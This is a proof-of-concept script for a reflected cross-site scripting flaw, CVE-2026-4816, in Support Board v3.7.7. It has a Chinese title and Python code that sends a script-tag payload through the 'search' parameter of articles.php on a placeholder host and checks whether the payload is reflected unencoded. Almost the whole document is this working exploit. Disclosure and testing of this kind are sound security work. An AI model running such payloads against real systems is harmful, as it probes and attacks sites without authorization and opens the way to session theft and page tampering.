CVE-2026-4816 Support Board反射型XSS漏洞

# Proof of Concept for CVE-2026-4816 # Target: Support Board v3.7.7 # Vulnerable Endpoint: /supportboard/include/articles.php # Vulnerable Parameter: search import requests target_url = "http://target.com/supportboard/include/articles.php" # Malicious payload to demonstrate XSS execution # Using a simple script tag to test reflection xss_payload = "<script>alert('CVE-2026-4816_XSS');</script>" parameters = { "search": xss_payload } try: response = requests.get(target_url, params=parameters, timeout=5) # Check if the payload is reflected in the response without encoding if xss_payload in response.text: print("[+] Vulnerability Confirmed: The payload was reflected unfiltered.") print("[+] Target URL: " + response.url) else: print("[-] Vulnerability not detected or payload was encoded.") except Exception as e: print(f"Error: {e}")